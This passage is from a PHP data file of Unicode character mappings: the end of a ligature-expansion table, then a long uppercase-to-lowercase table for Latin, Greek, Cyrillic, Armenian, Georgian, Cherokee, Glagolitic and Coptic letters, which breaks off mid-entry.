'ῷ' => 'ῶι', 'ῼ' => 'ωι', 'ff' => 'ff', 'fi' => 'fi', 'fl' => 'fl', 'ffi' => 'ffi', 'ffl' => 'ffl', 'ſt' => 'st', 'st' => 'st', 'ﬓ' => 'մն', 'ﬔ' => 'մե', 'ﬕ' => 'մի', 'ﬖ' => 'վն', 'ﬗ' => 'մխ', ]; 'a', 'B' => 'b', 'C' => 'c', 'D' => 'd', 'E' => 'e', 'F' => 'f', 'G' => 'g', 'H' => 'h', 'I' => 'i', 'J' => 'j', 'K' => 'k', 'L' => 'l', 'M' => 'm', 'N' => 'n', 'O' => 'o', 'P' => 'p', 'Q' => 'q', 'R' => 'r', 'S' => 's', 'T' => 't', 'U' => 'u', 'V' => 'v', 'W' => 'w', 'X' => 'x', 'Y' => 'y', 'Z' => 'z', 'À' => 'à', 'Á' => 'á', 'Â' => 'â', 'Ã' => 'ã', 'Ä' => 'ä', 'Å' => 'å', 'Æ' => 'æ', 'Ç' => 'ç', 'È' => 'è', 'É' => 'é', 'Ê' => 'ê', 'Ë' => 'ë', 'Ì' => 'ì', 'Í' => 'í', 'Î' => 'î', 'Ï' => 'ï', 'Ð' => 'ð', 'Ñ' => 'ñ', 'Ò' => 'ò', 'Ó' => 'ó', 'Ô' => 'ô', 'Õ' => 'õ', 'Ö' => 'ö', 'Ø' => 'ø', 'Ù' => 'ù', 'Ú' => 'ú', 'Û' => 'û', 'Ü' => 'ü', 'Ý' => 'ý', 'Þ' => 'þ', 'Ā' => 'ā', 'Ă' => 'ă', 'Ą' => 'ą', 'Ć' => 'ć', 'Ĉ' => 'ĉ', 'Ċ' => 'ċ', 'Č' => 'č', 'Ď' => 'ď', 'Đ' => 'đ', 'Ē' => 'ē', 'Ĕ' => 'ĕ', 'Ė' => 'ė', 'Ę' => 'ę', 'Ě' => 'ě', 'Ĝ' => 'ĝ', 'Ğ' => 'ğ', 'Ġ' => 'ġ', 'Ģ' => 'ģ', 'Ĥ' => 'ĥ', 'Ħ' => 'ħ', 'Ĩ' => 'ĩ', 'Ī' => 'ī', 'Ĭ' => 'ĭ', 'Į' => 'į', 'İ' => 'i̇', 'IJ' => 'ij', 'Ĵ' => 'ĵ', 'Ķ' => 'ķ', 'Ĺ' => 'ĺ', 'Ļ' => 'ļ', 'Ľ' => 'ľ', 'Ŀ' => 'ŀ', 'Ł' => 'ł', 'Ń' => 'ń', 'Ņ' => 'ņ', 'Ň' => 'ň', 'Ŋ' => 'ŋ', 'Ō' => 'ō', 'Ŏ' => 'ŏ', 'Ő' => 'ő', 'Œ' => 'œ', 'Ŕ' => 'ŕ', 'Ŗ' => 'ŗ', 'Ř' => 'ř', 'Ś' => 'ś', 'Ŝ' => 'ŝ', 'Ş' => 'ş', 'Š' => 'š', 'Ţ' => 'ţ', 'Ť' => 'ť', 'Ŧ' => 'ŧ', 'Ũ' => 'ũ', 'Ū' => 'ū', 'Ŭ' => 'ŭ', 'Ů' => 'ů', 'Ű' => 'ű', 'Ų' => 'ų', 'Ŵ' => 'ŵ', 'Ŷ' => 'ŷ', 'Ÿ' => 'ÿ', 'Ź' => 'ź', 'Ż' => 'ż', 'Ž' => 'ž', 'Ɓ' => 'ɓ', 'Ƃ' => 'ƃ', 'Ƅ' => 'ƅ', 'Ɔ' => 'ɔ', 'Ƈ' => 'ƈ', 'Ɖ' => 'ɖ', 'Ɗ' => 'ɗ', 'Ƌ' => 'ƌ', 'Ǝ' => 'ǝ', 'Ə' => 'ə', 'Ɛ' => 'ɛ', 'Ƒ' => 'ƒ', 'Ɠ' => 'ɠ', 'Ɣ' => 'ɣ', 'Ɩ' => 'ɩ', 'Ɨ' => 'ɨ', 'Ƙ' => 'ƙ', 'Ɯ' => 'ɯ', 'Ɲ' => 'ɲ', 'Ɵ' => 'ɵ', 'Ơ' => 'ơ', 'Ƣ' => 'ƣ', 'Ƥ' => 'ƥ', 'Ʀ' => 'ʀ', 'Ƨ' => 'ƨ', 'Ʃ' => 'ʃ', 'Ƭ' => 'ƭ', 'Ʈ' => 'ʈ', 'Ư' => 'ư', 'Ʊ' => 'ʊ', 'Ʋ' => 'ʋ', 'Ƴ' => 'ƴ', 'Ƶ' => 'ƶ', 'Ʒ' => 'ʒ', 'Ƹ' => 'ƹ', 'Ƽ' => 'ƽ', 'DŽ' => 'dž', 'Dž' => 'dž', 'LJ' => 'lj', 'Lj' => 'lj', 'NJ' => 'nj', 'Nj' => 'nj', 'Ǎ' => 'ǎ', 'Ǐ' => 'ǐ', 'Ǒ' => 'ǒ', 'Ǔ' => 'ǔ', 'Ǖ' => 'ǖ', 'Ǘ' => 'ǘ', 'Ǚ' => 'ǚ', 'Ǜ' => 'ǜ', 'Ǟ' => 'ǟ', 'Ǡ' => 'ǡ', 'Ǣ' => 'ǣ', 'Ǥ' => 'ǥ', 'Ǧ' => 'ǧ', 'Ǩ' => 'ǩ', 'Ǫ' => 'ǫ', 'Ǭ' => 'ǭ', 'Ǯ' => 'ǯ', 'DZ' => 'dz', 'Dz' => 'dz', 'Ǵ' => 'ǵ', 'Ƕ' => 'ƕ', 'Ƿ' => 'ƿ', 'Ǹ' => 'ǹ', 'Ǻ' => 'ǻ', 'Ǽ' => 'ǽ', 'Ǿ' => 'ǿ', 'Ȁ' => 'ȁ', 'Ȃ' => 'ȃ', 'Ȅ' => 'ȅ', 'Ȇ' => 'ȇ', 'Ȉ' => 'ȉ', 'Ȋ' => 'ȋ', 'Ȍ' => 'ȍ', 'Ȏ' => 'ȏ', 'Ȑ' => 'ȑ', 'Ȓ' => 'ȓ', 'Ȕ' => 'ȕ', 'Ȗ' => 'ȗ', 'Ș' => 'ș', 'Ț' => 'ț', 'Ȝ' => 'ȝ', 'Ȟ' => 'ȟ', 'Ƞ' => 'ƞ', 'Ȣ' => 'ȣ', 'Ȥ' => 'ȥ', 'Ȧ' => 'ȧ', 'Ȩ' => 'ȩ', 'Ȫ' => 'ȫ', 'Ȭ' => 'ȭ', 'Ȯ' => 'ȯ', 'Ȱ' => 'ȱ', 'Ȳ' => 'ȳ', 'Ⱥ' => 'ⱥ', 'Ȼ' => 'ȼ', 'Ƚ' => 'ƚ', 'Ⱦ' => 'ⱦ', 'Ɂ' => 'ɂ', 'Ƀ' => 'ƀ', 'Ʉ' => 'ʉ', 'Ʌ' => 'ʌ', 'Ɇ' => 'ɇ', 'Ɉ' => 'ɉ', 'Ɋ' => 'ɋ', 'Ɍ' => 'ɍ', 'Ɏ' => 'ɏ', 'Ͱ' => 'ͱ', 'Ͳ' => 'ͳ', 'Ͷ' => 'ͷ', 'Ϳ' => 'ϳ', 'Ά' => 'ά', 'Έ' => 'έ', 'Ή' => 'ή', 'Ί' => 'ί', 'Ό' => 'ό', 'Ύ' => 'ύ', 'Ώ' => 'ώ', 'Α' => 'α', 'Β' => 'β', 'Γ' => 'γ', 'Δ' => 'δ', 'Ε' => 'ε', 'Ζ' => 'ζ', 'Η' => 'η', 'Θ' => 'θ', 'Ι' => 'ι', 'Κ' => 'κ', 'Λ' => 'λ', 'Μ' => 'μ', 'Ν' => 'ν', 'Ξ' => 'ξ', 'Ο' => 'ο', 'Π' => 'π', 'Ρ' => 'ρ', 'Σ' => 'σ', 'Τ' => 'τ', 'Υ' => 'υ', 'Φ' => 'φ', 'Χ' => 'χ', 'Ψ' => 'ψ', 'Ω' => 'ω', 'Ϊ' => 'ϊ', 'Ϋ' => 'ϋ', 'Ϗ' => 'ϗ', 'Ϙ' => 'ϙ', 'Ϛ' => 'ϛ', 'Ϝ' => 'ϝ', 'Ϟ' => 'ϟ', 'Ϡ' => 'ϡ', 'Ϣ' => 'ϣ', 'Ϥ' => 'ϥ', 'Ϧ' => 'ϧ', 'Ϩ' => 'ϩ', 'Ϫ' => 'ϫ', 'Ϭ' => 'ϭ', 'Ϯ' => 'ϯ', 'ϴ' => 'θ', 'Ϸ' => 'ϸ', 'Ϲ' => 'ϲ', 'Ϻ' => 'ϻ', 'Ͻ' => 'ͻ', 'Ͼ' => 'ͼ', 'Ͽ' => 'ͽ', 'Ѐ' => 'ѐ', 'Ё' => 'ё', 'Ђ' => 'ђ', 'Ѓ' => 'ѓ', 'Є' => 'є', 'Ѕ' => 'ѕ', 'І' => 'і', 'Ї' => 'ї', 'Ј' => 'ј', 'Љ' => 'љ', 'Њ' => 'њ', 'Ћ' => 'ћ', 'Ќ' => 'ќ', 'Ѝ' => 'ѝ', 'Ў' => 'ў', 'Џ' => 'џ', 'А' => 'а', 'Б' => 'б', 'В' => 'в', 'Г' => 'г', 'Д' => 'д', 'Е' => 'е', 'Ж' => 'ж', 'З' => 'з', 'И' => 'и', 'Й' => 'й', 'К' => 'к', 'Л' => 'л', 'М' => 'м', 'Н' => 'н', 'О' => 'о', 'П' => 'п', 'Р' => 'р', 'С' => 'с', 'Т' => 'т', 'У' => 'у', 'Ф' => 'ф', 'Х' => 'х', 'Ц' => 'ц', 'Ч' => 'ч', 'Ш' => 'ш', 'Щ' => 'щ', 'Ъ' => 'ъ', 'Ы' => 'ы', 'Ь' => 'ь', 'Э' => 'э', 'Ю' => 'ю', 'Я' => 'я', 'Ѡ' => 'ѡ', 'Ѣ' => 'ѣ', 'Ѥ' => 'ѥ', 'Ѧ' => 'ѧ', 'Ѩ' => 'ѩ', 'Ѫ' => 'ѫ', 'Ѭ' => 'ѭ', 'Ѯ' => 'ѯ', 'Ѱ' => 'ѱ', 'Ѳ' => 'ѳ', 'Ѵ' => 'ѵ', 'Ѷ' => 'ѷ', 'Ѹ' => 'ѹ', 'Ѻ' => 'ѻ', 'Ѽ' => 'ѽ', 'Ѿ' => 'ѿ', 'Ҁ' => 'ҁ', 'Ҋ' => 'ҋ', 'Ҍ' => 'ҍ', 'Ҏ' => 'ҏ', 'Ґ' => 'ґ', 'Ғ' => 'ғ', 'Ҕ' => 'ҕ', 'Җ' => 'җ', 'Ҙ' => 'ҙ', 'Қ' => 'қ', 'Ҝ' => 'ҝ', 'Ҟ' => 'ҟ', 'Ҡ' => 'ҡ', 'Ң' => 'ң', 'Ҥ' => 'ҥ', 'Ҧ' => 'ҧ', 'Ҩ' => 'ҩ', 'Ҫ' => 'ҫ', 'Ҭ' => 'ҭ', 'Ү' => 'ү', 'Ұ' => 'ұ', 'Ҳ' => 'ҳ', 'Ҵ' => 'ҵ', 'Ҷ' => 'ҷ', 'Ҹ' => 'ҹ', 'Һ' => 'һ', 'Ҽ' => 'ҽ', 'Ҿ' => 'ҿ', 'Ӏ' => 'ӏ', 'Ӂ' => 'ӂ', 'Ӄ' => 'ӄ', 'Ӆ' => 'ӆ', 'Ӈ' => 'ӈ', 'Ӊ' => 'ӊ', 'Ӌ' => 'ӌ', 'Ӎ' => 'ӎ', 'Ӑ' => 'ӑ', 'Ӓ' => 'ӓ', 'Ӕ' => 'ӕ', 'Ӗ' => 'ӗ', 'Ә' => 'ә', 'Ӛ' => 'ӛ', 'Ӝ' => 'ӝ', 'Ӟ' => 'ӟ', 'Ӡ' => 'ӡ', 'Ӣ' => 'ӣ', 'Ӥ' => 'ӥ', 'Ӧ' => 'ӧ', 'Ө' => 'ө', 'Ӫ' => 'ӫ', 'Ӭ' => 'ӭ', 'Ӯ' => 'ӯ', 'Ӱ' => 'ӱ', 'Ӳ' => 'ӳ', 'Ӵ' => 'ӵ', 'Ӷ' => 'ӷ', 'Ӹ' => 'ӹ', 'Ӻ' => 'ӻ', 'Ӽ' => 'ӽ', 'Ӿ' => 'ӿ', 'Ԁ' => 'ԁ', 'Ԃ' => 'ԃ', 'Ԅ' => 'ԅ', 'Ԇ' => 'ԇ', 'Ԉ' => 'ԉ', 'Ԋ' => 'ԋ', 'Ԍ' => 'ԍ', 'Ԏ' => 'ԏ', 'Ԑ' => 'ԑ', 'Ԓ' => 'ԓ', 'Ԕ' => 'ԕ', 'Ԗ' => 'ԗ', 'Ԙ' => 'ԙ', 'Ԛ' => 'ԛ', 'Ԝ' => 'ԝ', 'Ԟ' => 'ԟ', 'Ԡ' => 'ԡ', 'Ԣ' => 'ԣ', 'Ԥ' => 'ԥ', 'Ԧ' => 'ԧ', 'Ԩ' => 'ԩ', 'Ԫ' => 'ԫ', 'Ԭ' => 'ԭ', 'Ԯ' => 'ԯ', 'Ա' => 'ա', 'Բ' => 'բ', 'Գ' => 'գ', 'Դ' => 'դ', 'Ե' => 'ե', 'Զ' => 'զ', 'Է' => 'է', 'Ը' => 'ը', 'Թ' => 'թ', 'Ժ' => 'ժ', 'Ի' => 'ի', 'Լ' => 'լ', 'Խ' => 'խ', 'Ծ' => 'ծ', 'Կ' => 'կ', 'Հ' => 'հ', 'Ձ' => 'ձ', 'Ղ' => 'ղ', 'Ճ' => 'ճ', 'Մ' => 'մ', 'Յ' => 'յ', 'Ն' => 'ն', 'Շ' => 'շ', 'Ո' => 'ո', 'Չ' => 'չ', 'Պ' => 'պ', 'Ջ' => 'ջ', 'Ռ' => 'ռ', 'Ս' => 'ս', 'Վ' => 'վ', 'Տ' => 'տ', 'Ր' => 'ր', 'Ց' => 'ց', 'Ւ' => 'ւ', 'Փ' => 'փ', 'Ք' => 'ք', 'Օ' => 'օ', 'Ֆ' => 'ֆ', 'Ⴀ' => 'ⴀ', 'Ⴁ' => 'ⴁ', 'Ⴂ' => 'ⴂ', 'Ⴃ' => 'ⴃ', 'Ⴄ' => 'ⴄ', 'Ⴅ' => 'ⴅ', 'Ⴆ' => 'ⴆ', 'Ⴇ' => 'ⴇ', 'Ⴈ' => 'ⴈ', 'Ⴉ' => 'ⴉ', 'Ⴊ' => 'ⴊ', 'Ⴋ' => 'ⴋ', 'Ⴌ' => 'ⴌ', 'Ⴍ' => 'ⴍ', 'Ⴎ' => 'ⴎ', 'Ⴏ' => 'ⴏ', 'Ⴐ' => 'ⴐ', 'Ⴑ' => 'ⴑ', 'Ⴒ' => 'ⴒ', 'Ⴓ' => 'ⴓ', 'Ⴔ' => 'ⴔ', 'Ⴕ' => 'ⴕ', 'Ⴖ' => 'ⴖ', 'Ⴗ' => 'ⴗ', 'Ⴘ' => 'ⴘ', 'Ⴙ' => 'ⴙ', 'Ⴚ' => 'ⴚ', 'Ⴛ' => 'ⴛ', 'Ⴜ' => 'ⴜ', 'Ⴝ' => 'ⴝ', 'Ⴞ' => 'ⴞ', 'Ⴟ' => 'ⴟ', 'Ⴠ' => 'ⴠ', 'Ⴡ' => 'ⴡ', 'Ⴢ' => 'ⴢ', 'Ⴣ' => 'ⴣ', 'Ⴤ' => 'ⴤ', 'Ⴥ' => 'ⴥ', 'Ⴧ' => 'ⴧ', 'Ⴭ' => 'ⴭ', 'Ꭰ' => 'ꭰ', 'Ꭱ' => 'ꭱ', 'Ꭲ' => 'ꭲ', 'Ꭳ' => 'ꭳ', 'Ꭴ' => 'ꭴ', 'Ꭵ' => 'ꭵ', 'Ꭶ' => 'ꭶ', 'Ꭷ' => 'ꭷ', 'Ꭸ' => 'ꭸ', 'Ꭹ' => 'ꭹ', 'Ꭺ' => 'ꭺ', 'Ꭻ' => 'ꭻ', 'Ꭼ' => 'ꭼ', 'Ꭽ' => 'ꭽ', 'Ꭾ' => 'ꭾ', 'Ꭿ' => 'ꭿ', 'Ꮀ' => 'ꮀ', 'Ꮁ' => 'ꮁ', 'Ꮂ' => 'ꮂ', 'Ꮃ' => 'ꮃ', 'Ꮄ' => 'ꮄ', 'Ꮅ' => 'ꮅ', 'Ꮆ' => 'ꮆ', 'Ꮇ' => 'ꮇ', 'Ꮈ' => 'ꮈ', 'Ꮉ' => 'ꮉ', 'Ꮊ' => 'ꮊ', 'Ꮋ' => 'ꮋ', 'Ꮌ' => 'ꮌ', 'Ꮍ' => 'ꮍ', 'Ꮎ' => 'ꮎ', 'Ꮏ' => 'ꮏ', 'Ꮐ' => 'ꮐ', 'Ꮑ' => 'ꮑ', 'Ꮒ' => 'ꮒ', 'Ꮓ' => 'ꮓ', 'Ꮔ' => 'ꮔ', 'Ꮕ' => 'ꮕ', 'Ꮖ' => 'ꮖ', 'Ꮗ' => 'ꮗ', 'Ꮘ' => 'ꮘ', 'Ꮙ' => 'ꮙ', 'Ꮚ' => 'ꮚ', 'Ꮛ' => 'ꮛ', 'Ꮜ' => 'ꮜ', 'Ꮝ' => 'ꮝ', 'Ꮞ' => 'ꮞ', 'Ꮟ' => 'ꮟ', 'Ꮠ' => 'ꮠ', 'Ꮡ' => 'ꮡ', 'Ꮢ' => 'ꮢ', 'Ꮣ' => 'ꮣ', 'Ꮤ' => 'ꮤ', 'Ꮥ' => 'ꮥ', 'Ꮦ' => 'ꮦ', 'Ꮧ' => 'ꮧ', 'Ꮨ' => 'ꮨ', 'Ꮩ' => 'ꮩ', 'Ꮪ' => 'ꮪ', 'Ꮫ' => 'ꮫ', 'Ꮬ' => 'ꮬ', 'Ꮭ' => 'ꮭ', 'Ꮮ' => 'ꮮ', 'Ꮯ' => 'ꮯ', 'Ꮰ' => 'ꮰ', 'Ꮱ' => 'ꮱ', 'Ꮲ' => 'ꮲ', 'Ꮳ' => 'ꮳ', 'Ꮴ' => 'ꮴ', 'Ꮵ' => 'ꮵ', 'Ꮶ' => 'ꮶ', 'Ꮷ' => 'ꮷ', 'Ꮸ' => 'ꮸ', 'Ꮹ' => 'ꮹ', 'Ꮺ' => 'ꮺ', 'Ꮻ' => 'ꮻ', 'Ꮼ' => 'ꮼ', 'Ꮽ' => 'ꮽ', 'Ꮾ' => 'ꮾ', 'Ꮿ' => 'ꮿ', 'Ᏸ' => 'ᏸ', 'Ᏹ' => 'ᏹ', 'Ᏺ' => 'ᏺ', 'Ᏻ' => 'ᏻ', 'Ᏼ' => 'ᏼ', 'Ᏽ' => 'ᏽ', 'Ა' => 'ა', 'Ბ' => 'ბ', 'Გ' => 'გ', 'Დ' => 'დ', 'Ე' => 'ე', 'Ვ' => 'ვ', 'Ზ' => 'ზ', 'Თ' => 'თ', 'Ი' => 'ი', 'Კ' => 'კ', 'Ლ' => 'ლ', 'Მ' => 'მ', 'Ნ' => 'ნ', 'Ო' => 'ო', 'Პ' => 'პ', 'Ჟ' => 'ჟ', 'Რ' => 'რ', 'Ს' => 'ს', 'Ტ' => 'ტ', 'Უ' => 'უ', 'Ფ' => 'ფ', 'Ქ' => 'ქ', 'Ღ' => 'ღ', 'Ყ' => 'ყ', 'Შ' => 'შ', 'Ჩ' => 'ჩ', 'Ც' => 'ც', 'Ძ' => 'ძ', 'Წ' => 'წ', 'Ჭ' => 'ჭ', 'Ხ' => 'ხ', 'Ჯ' => 'ჯ', 'Ჰ' => 'ჰ', 'Ჱ' => 'ჱ', 'Ჲ' => 'ჲ', 'Ჳ' => 'ჳ', 'Ჴ' => 'ჴ', 'Ჵ' => 'ჵ', 'Ჶ' => 'ჶ', 'Ჷ' => 'ჷ', 'Ჸ' => 'ჸ', 'Ჹ' => 'ჹ', 'Ჺ' => 'ჺ', 'Ჽ' => 'ჽ', 'Ჾ' => 'ჾ', 'Ჿ' => 'ჿ', 'Ḁ' => 'ḁ', 'Ḃ' => 'ḃ', 'Ḅ' => 'ḅ', 'Ḇ' => 'ḇ', 'Ḉ' => 'ḉ', 'Ḋ' => 'ḋ', 'Ḍ' => 'ḍ', 'Ḏ' => 'ḏ', 'Ḑ' => 'ḑ', 'Ḓ' => 'ḓ', 'Ḕ' => 'ḕ', 'Ḗ' => 'ḗ', 'Ḙ' => 'ḙ', 'Ḛ' => 'ḛ', 'Ḝ' => 'ḝ', 'Ḟ' => 'ḟ', 'Ḡ' => 'ḡ', 'Ḣ' => 'ḣ', 'Ḥ' => 'ḥ', 'Ḧ' => 'ḧ', 'Ḩ' => 'ḩ', 'Ḫ' => 'ḫ', 'Ḭ' => 'ḭ', 'Ḯ' => 'ḯ', 'Ḱ' => 'ḱ', 'Ḳ' => 'ḳ', 'Ḵ' => 'ḵ', 'Ḷ' => 'ḷ', 'Ḹ' => 'ḹ', 'Ḻ' => 'ḻ', 'Ḽ' => 'ḽ', 'Ḿ' => 'ḿ', 'Ṁ' => 'ṁ', 'Ṃ' => 'ṃ', 'Ṅ' => 'ṅ', 'Ṇ' => 'ṇ', 'Ṉ' => 'ṉ', 'Ṋ' => 'ṋ', 'Ṍ' => 'ṍ', 'Ṏ' => 'ṏ', 'Ṑ' => 'ṑ', 'Ṓ' => 'ṓ', 'Ṕ' => 'ṕ', 'Ṗ' => 'ṗ', 'Ṙ' => 'ṙ', 'Ṛ' => 'ṛ', 'Ṝ' => 'ṝ', 'Ṟ' => 'ṟ', 'Ṡ' => 'ṡ', 'Ṣ' => 'ṣ', 'Ṥ' => 'ṥ', 'Ṧ' => 'ṧ', 'Ṩ' => 'ṩ', 'Ṫ' => 'ṫ', 'Ṭ' => 'ṭ', 'Ṯ' => 'ṯ', 'Ṱ' => 'ṱ', 'Ṳ' => 'ṳ', 'Ṵ' => 'ṵ', 'Ṷ' => 'ṷ', 'Ṹ' => 'ṹ', 'Ṻ' => 'ṻ', 'Ṽ' => 'ṽ', 'Ṿ' => 'ṿ', 'Ẁ' => 'ẁ', 'Ẃ' => 'ẃ', 'Ẅ' => 'ẅ', 'Ẇ' => 'ẇ', 'Ẉ' => 'ẉ', 'Ẋ' => 'ẋ', 'Ẍ' => 'ẍ', 'Ẏ' => 'ẏ', 'Ẑ' => 'ẑ', 'Ẓ' => 'ẓ', 'Ẕ' => 'ẕ', 'ẞ' => 'ß', 'Ạ' => 'ạ', 'Ả' => 'ả', 'Ấ' => 'ấ', 'Ầ' => 'ầ', 'Ẩ' => 'ẩ', 'Ẫ' => 'ẫ', 'Ậ' => 'ậ', 'Ắ' => 'ắ', 'Ằ' => 'ằ', 'Ẳ' => 'ẳ', 'Ẵ' => 'ẵ', 'Ặ' => 'ặ', 'Ẹ' => 'ẹ', 'Ẻ' => 'ẻ', 'Ẽ' => 'ẽ', 'Ế' => 'ế', 'Ề' => 'ề', 'Ể' => 'ể', 'Ễ' => 'ễ', 'Ệ' => 'ệ', 'Ỉ' => 'ỉ', 'Ị' => 'ị', 'Ọ' => 'ọ', 'Ỏ' => 'ỏ', 'Ố' => 'ố', 'Ồ' => 'ồ', 'Ổ' => 'ổ', 'Ỗ' => 'ỗ', 'Ộ' => 'ộ', 'Ớ' => 'ớ', 'Ờ' => 'ờ', 'Ở' => 'ở', 'Ỡ' => 'ỡ', 'Ợ' => 'ợ', 'Ụ' => 'ụ', 'Ủ' => 'ủ', 'Ứ' => 'ứ', 'Ừ' => 'ừ', 'Ử' => 'ử', 'Ữ' => 'ữ', 'Ự' => 'ự', 'Ỳ' => 'ỳ', 'Ỵ' => 'ỵ', 'Ỷ' => 'ỷ', 'Ỹ' => 'ỹ', 'Ỻ' => 'ỻ', 'Ỽ' => 'ỽ', 'Ỿ' => 'ỿ', 'Ἀ' => 'ἀ', 'Ἁ' => 'ἁ', 'Ἂ' => 'ἂ', 'Ἃ' => 'ἃ', 'Ἄ' => 'ἄ', 'Ἅ' => 'ἅ', 'Ἆ' => 'ἆ', 'Ἇ' => 'ἇ', 'Ἐ' => 'ἐ', 'Ἑ' => 'ἑ', 'Ἒ' => 'ἒ', 'Ἓ' => 'ἓ', 'Ἔ' => 'ἔ', 'Ἕ' => 'ἕ', 'Ἠ' => 'ἠ', 'Ἡ' => 'ἡ', 'Ἢ' => 'ἢ', 'Ἣ' => 'ἣ', 'Ἤ' => 'ἤ', 'Ἥ' => 'ἥ', 'Ἦ' => 'ἦ', 'Ἧ' => 'ἧ', 'Ἰ' => 'ἰ', 'Ἱ' => 'ἱ', 'Ἲ' => 'ἲ', 'Ἳ' => 'ἳ', 'Ἴ' => 'ἴ', 'Ἵ' => 'ἵ', 'Ἶ' => 'ἶ', 'Ἷ' => 'ἷ', 'Ὀ' => 'ὀ', 'Ὁ' => 'ὁ', 'Ὂ' => 'ὂ', 'Ὃ' => 'ὃ', 'Ὄ' => 'ὄ', 'Ὅ' => 'ὅ', 'Ὑ' => 'ὑ', 'Ὓ' => 'ὓ', 'Ὕ' => 'ὕ', 'Ὗ' => 'ὗ', 'Ὠ' => 'ὠ', 'Ὡ' => 'ὡ', 'Ὢ' => 'ὢ', 'Ὣ' => 'ὣ', 'Ὤ' => 'ὤ', 'Ὥ' => 'ὥ', 'Ὦ' => 'ὦ', 'Ὧ' => 'ὧ', 'ᾈ' => 'ᾀ', 'ᾉ' => 'ᾁ', 'ᾊ' => 'ᾂ', 'ᾋ' => 'ᾃ', 'ᾌ' => 'ᾄ', 'ᾍ' => 'ᾅ', 'ᾎ' => 'ᾆ', 'ᾏ' => 'ᾇ', 'ᾘ' => 'ᾐ', 'ᾙ' => 'ᾑ', 'ᾚ' => 'ᾒ', 'ᾛ' => 'ᾓ', 'ᾜ' => 'ᾔ', 'ᾝ' => 'ᾕ', 'ᾞ' => 'ᾖ', 'ᾟ' => 'ᾗ', 'ᾨ' => 'ᾠ', 'ᾩ' => 'ᾡ', 'ᾪ' => 'ᾢ', 'ᾫ' => 'ᾣ', 'ᾬ' => 'ᾤ', 'ᾭ' => 'ᾥ', 'ᾮ' => 'ᾦ', 'ᾯ' => 'ᾧ', 'Ᾰ' => 'ᾰ', 'Ᾱ' => 'ᾱ', 'Ὰ' => 'ὰ', 'Ά' => 'ά', 'ᾼ' => 'ᾳ', 'Ὲ' => 'ὲ', 'Έ' => 'έ', 'Ὴ' => 'ὴ', 'Ή' => 'ή', 'ῌ' => 'ῃ', 'Ῐ' => 'ῐ', 'Ῑ' => 'ῑ', 'Ὶ' => 'ὶ', 'Ί' => 'ί', 'Ῠ' => 'ῠ', 'Ῡ' => 'ῡ', 'Ὺ' => 'ὺ', 'Ύ' => 'ύ', 'Ῥ' => 'ῥ', 'Ὸ' => 'ὸ', 'Ό' => 'ό', 'Ὼ' => 'ὼ', 'Ώ' => 'ώ', 'ῼ' => 'ῳ', 'Ω' => 'ω', 'K' => 'k', 'Å' => 'å', 'Ⅎ' => 'ⅎ', 'Ⅰ' => 'ⅰ', 'Ⅱ' => 'ⅱ', 'Ⅲ' => 'ⅲ', 'Ⅳ' => 'ⅳ', 'Ⅴ' => 'ⅴ', 'Ⅵ' => 'ⅵ', 'Ⅶ' => 'ⅶ', 'Ⅷ' => 'ⅷ', 'Ⅸ' => 'ⅸ', 'Ⅹ' => 'ⅹ', 'Ⅺ' => 'ⅺ', 'Ⅻ' => 'ⅻ', 'Ⅼ' => 'ⅼ', 'Ⅽ' => 'ⅽ', 'Ⅾ' => 'ⅾ', 'Ⅿ' => 'ⅿ', 'Ↄ' => 'ↄ', 'Ⓐ' => 'ⓐ', 'Ⓑ' => 'ⓑ', 'Ⓒ' => 'ⓒ', 'Ⓓ' => 'ⓓ', 'Ⓔ' => 'ⓔ', 'Ⓕ' => 'ⓕ', 'Ⓖ' => 'ⓖ', 'Ⓗ' => 'ⓗ', 'Ⓘ' => 'ⓘ', 'Ⓙ' => 'ⓙ', 'Ⓚ' => 'ⓚ', 'Ⓛ' => 'ⓛ', 'Ⓜ' => 'ⓜ', 'Ⓝ' => 'ⓝ', 'Ⓞ' => 'ⓞ', 'Ⓟ' => 'ⓟ', 'Ⓠ' => 'ⓠ', 'Ⓡ' => 'ⓡ', 'Ⓢ' => 'ⓢ', 'Ⓣ' => 'ⓣ', 'Ⓤ' => 'ⓤ', 'Ⓥ' => 'ⓥ', 'Ⓦ' => 'ⓦ', 'Ⓧ' => 'ⓧ', 'Ⓨ' => 'ⓨ', 'Ⓩ' => 'ⓩ', 'Ⰰ' => 'ⰰ', 'Ⰱ' => 'ⰱ', 'Ⰲ' => 'ⰲ', 'Ⰳ' => 'ⰳ', 'Ⰴ' => 'ⰴ', 'Ⰵ' => 'ⰵ', 'Ⰶ' => 'ⰶ', 'Ⰷ' => 'ⰷ', 'Ⰸ' => 'ⰸ', 'Ⰹ' => 'ⰹ', 'Ⰺ' => 'ⰺ', 'Ⰻ' => 'ⰻ', 'Ⰼ' => 'ⰼ', 'Ⰽ' => 'ⰽ', 'Ⰾ' => 'ⰾ', 'Ⰿ' => 'ⰿ', 'Ⱀ' => 'ⱀ', 'Ⱁ' => 'ⱁ', 'Ⱂ' => 'ⱂ', 'Ⱃ' => 'ⱃ', 'Ⱄ' => 'ⱄ', 'Ⱅ' => 'ⱅ', 'Ⱆ' => 'ⱆ', 'Ⱇ' => 'ⱇ', 'Ⱈ' => 'ⱈ', 'Ⱉ' => 'ⱉ', 'Ⱊ' => 'ⱊ', 'Ⱋ' => 'ⱋ', 'Ⱌ' => 'ⱌ', 'Ⱍ' => 'ⱍ', 'Ⱎ' => 'ⱎ', 'Ⱏ' => 'ⱏ', 'Ⱐ' => 'ⱐ', 'Ⱑ' => 'ⱑ', 'Ⱒ' => 'ⱒ', 'Ⱓ' => 'ⱓ', 'Ⱔ' => 'ⱔ', 'Ⱕ' => 'ⱕ', 'Ⱖ' => 'ⱖ', 'Ⱗ' => 'ⱗ', 'Ⱘ' => 'ⱘ', 'Ⱙ' => 'ⱙ', 'Ⱚ' => 'ⱚ', 'Ⱛ' => 'ⱛ', 'Ⱜ' => 'ⱜ', 'Ⱝ' => 'ⱝ', 'Ⱞ' => 'ⱞ', 'Ⱡ' => 'ⱡ', 'Ɫ' => 'ɫ', 'Ᵽ' => 'ᵽ', 'Ɽ' => 'ɽ', 'Ⱨ' => 'ⱨ', 'Ⱪ' => 'ⱪ', 'Ⱬ' => 'ⱬ', 'Ɑ' => 'ɑ', 'Ɱ' => 'ɱ', 'Ɐ' => 'ɐ', 'Ɒ' => 'ɒ', 'Ⱳ' => 'ⱳ', 'Ⱶ' => 'ⱶ', 'Ȿ' => 'ȿ', 'Ɀ' => 'ɀ', 'Ⲁ' => 'ⲁ', 'Ⲃ' => 'ⲃ', 'Ⲅ' => 'ⲅ', 'Ⲇ' => 'ⲇ', 'Ⲉ' => 